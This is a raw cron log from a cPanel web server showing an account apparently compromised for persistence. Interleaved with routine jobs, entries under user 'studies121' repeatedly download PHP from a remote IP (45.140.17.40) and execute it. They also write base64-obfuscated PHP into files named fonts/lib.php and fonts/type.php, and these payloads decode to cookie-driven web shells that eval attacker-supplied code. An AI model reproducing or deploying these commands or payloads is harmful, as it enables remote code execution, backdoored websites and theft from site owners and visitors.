Sep  2 19:42:01 ip-184-168-122-23 CROND[3250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:42:01 ip-184-168-122-23 CROND[3251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:42:01 ip-184-168-122-23 CROND[3249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:42:01 ip-184-168-122-23 CROND[3252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:43:01 ip-184-168-122-23 CROND[3336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:43:01 ip-184-168-122-23 CROND[3337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:43:01 ip-184-168-122-23 CROND[3340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:43:01 ip-184-168-122-23 CROND[3339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:44:01 ip-184-168-122-23 CROND[3420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:44:01 ip-184-168-122-23 CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:44:01 ip-184-168-122-23 CROND[3423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:44:01 ip-184-168-122-23 CROND[3421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:44:01 ip-184-168-122-23 CROND[3424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:45:01 ip-184-168-122-23 CROND[3510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:45:01 ip-184-168-122-23 CROND[3512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:45:01 ip-184-168-122-23 CROND[3513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:45:01 ip-184-168-122-23 CROND[3515]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:45:01 ip-184-168-122-23 CROND[3516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:45:01 ip-184-168-122-23 CROND[3514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:46:01 ip-184-168-122-23 CROND[3614]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 19:46:01 ip-184-168-122-23 CROND[3615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:46:01 ip-184-168-122-23 CROND[3619]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 19:46:01 ip-184-168-122-23 CROND[3620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:46:01 ip-184-168-122-23 CROND[3622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:46:01 ip-184-168-122-23 CROND[3623]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:46:01 ip-184-168-122-23 CROND[3625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:47:01 ip-184-168-122-23 CROND[3732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:47:01 ip-184-168-122-23 CROND[3735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:47:01 ip-184-168-122-23 CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:47:01 ip-184-168-122-23 CROND[3740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:48:01 ip-184-168-122-23 CROND[3900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:48:01 ip-184-168-122-23 CROND[3901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:48:01 ip-184-168-122-23 CROND[3903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:48:01 ip-184-168-122-23 CROND[3902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:48:01 ip-184-168-122-23 CROND[3904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:49:01 ip-184-168-122-23 CROND[3987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:49:01 ip-184-168-122-23 CROND[3988]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 19:49:01 ip-184-168-122-23 CROND[3990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:49:01 ip-184-168-122-23 CROND[3991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:49:01 ip-184-168-122-23 CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:50:01 ip-184-168-122-23 CROND[4123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:50:01 ip-184-168-122-23 CROND[4130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:50:01 ip-184-168-122-23 CROND[4129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:50:02 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 19:51:01 ip-184-168-122-23 CROND[4250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:51:01 ip-184-168-122-23 CROND[4251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:51:01 ip-184-168-122-23 CROND[4253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:51:01 ip-184-168-122-23 CROND[4255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:52:01 ip-184-168-122-23 CROND[4333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:52:01 ip-184-168-122-23 CROND[4335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 19:52:01 ip-184-168-122-23 CROND[4337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:52:01 ip-184-168-122-23 CROND[4336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:52:01 ip-184-168-122-23 CROND[4338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:53:01 ip-184-168-122-23 CROND[4422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 19:53:01 ip-184-168-122-23 CROND[4424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:53:01 ip-184-168-122-23 CROND[4425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 19:53:01 ip-184-168-122-23 CROND[4429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 19:54:01 ip-184-168-122-23 CROND[4583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 19:54:01 ip-184-168-122-23 CROND[4585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
